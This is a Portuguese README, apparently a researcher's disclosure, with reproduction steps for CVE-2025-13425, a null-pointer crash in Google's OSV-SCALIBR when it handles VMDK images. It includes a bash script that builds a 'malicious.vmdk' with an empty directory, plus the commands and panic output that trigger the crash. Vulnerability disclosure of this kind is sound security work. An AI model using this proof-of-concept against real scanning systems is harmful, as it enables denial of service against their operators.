
Este repositório contém instruções para reproduzir a CVE-2025-13425: vulnerabilidade de desreferência de ponteiro nulo / sobre-indexação de array que encontrei no projeto OSV-SCALIBR do Google.
Para reproduzir o CVE-2025-13425, basta seguir os passos abaixo:
Passo 1: Clone o código fonte fresco do osv-scalibr:
$ git clone https://github.com/google/osv-scalibr
Passo 2: Remova o código mencionado no commit de correção https://github.com/google/osv-scalibr/commit/e67c4e198ca099cb7c16957a80f6c5331d90a672
Passo 3: Use o patch vmdk.go.patch e aplique-o ao vmdk.go com:
$ cd osv-scalibr
$ git apply /caminho/para/vmdk.go.patch
Por que precisamos dessas alterações no vmdk.go ?
Isto é apenas um exemplo e este bug não se limita apenas ao plugin vmdk. Isso é necessário para acionar o bug. O bug é acionado quando alguém escreve seu próprio plugin que percorre um sistema de arquivos virtual contido dentro de um arquivo. O bug está na forma como o osv-scalibr lida com sistemas de arquivos virtuais. Esse bug passará despercebido durante a compilação ou produção, mas será acionado quando o usuário fornecer um arquivo vmdk que contenha pelo menos um diretório vazio.
Passo 4: Compile o código fonte para obter o binário "scalibr":
$ make clean && make
Passo 5: Acione com:
$ go test -v ./extractor/filesystem/embeddedfs/vmdk/
Saída esperada:
...
=== RUN TestExtractValidVMDK/DiskImage_1
vmdk_test.go:87: GetEmbeddedFS() falhou: tipo de sistema de arquivos desconhecido para partição 2
--- FAIL: TestExtractValidVMDK (1.35s)
--- PASS: TestExtractValidVMDK/DiskImage_0 (0.02s)
--- FAIL: TestExtractValidVMDK/DiskImage_1 (0.00s)
panic: erro de tempo de execução: endereço de memória inválido ou desreferência de ponteiro nulo [recuperado]
panic: erro de tempo de execução: endereço de memória inválido ou desreferência de ponteiro nulo
[signal SIGSEGV: violação de segmentação código=0x1 addr=0x20 pc=0x7613e2]
...
OU
Você pode gerar uma imagem vmdk maliciosa (ou mínima) que contenha um diretório vazio. Para fazer isso, crie um novo script bash com o seguinte código (digamos gen_malicious_vmdk.sh):
#!/usr/bin/env bash
dd if=/dev/zero of=valid.img bs=1M count=20
parted -s --align optimal valid.img --script mklabel gpt
parted -s --align optimal valid.img --script mkpart primary ext4 0% 100%
sudo losetup -fP valid.img
LOOPDEV=$(losetup -j valid.img | cut -d: -f1)
PARTITION1="${LOOPDEV}p1"
sudo mkfs.ext4 $PARTITION1
sudo rm -rf /mnt/valid*
sudo mkdir /mnt/valid
sudo mount ${PARTITION1} /mnt/valid
sudo mkdir /mnt/valid/empty_dir
sudo umount /mnt/valid
sudo losetup -d ${LOOPDEV}
sudo rm -rf /mnt/valid* *.vmdk
qemu-img convert valid.img -O vmdk malicious.vmdk
Agora,
$ chmod +x gen_malicious_vmdk.sh
$ ./gen_malicious_vmdk.sh
Isso criará um arquivo chamado "malicious.vmdk". Agora acione a vulnerabilidade com:
$ ./scalibr --extractors=embeddedfs/vmdk -o textproto=output.txt malicious.vmdk
Saída esperada:
2025/11/05 19:02:45 Executando varredura com 1 plugins
2025/11/05 19:02:45 Caminhos para extrair: [../try/malicious.vmdk]
2025/11/05 19:02:45 Raizes da varredura: [%!s(*fs.ScanRoot=&{/ /})]
2025/11/05 19:02:45 Iniciando caminhada do sistema de arquivos para raiz: /
2025/11/05 19:02:45 Status final: 0 diretórios visitados, 1 inodos visitados, 1 chamadas Extract, 124.392222ms decorridos, 124.392999ms tempo de parede
2025/11/05 19:02:45 Iniciando caminhada do sistema de arquivos para raiz:
panic: erro de tempo de execução: endereço de memória inválido ou desreferência de ponteiro nulo
panic: erro de tempo de execução: endereço de memória inválido ou desreferência de ponteiro nulo
[signal SIGSEGV: violação de segmentação código=0x1 addr=0x10 pc=0x1fbb303]
...
CVE-2025-13425 descoberto por Yuvraj Saxena ([email protected])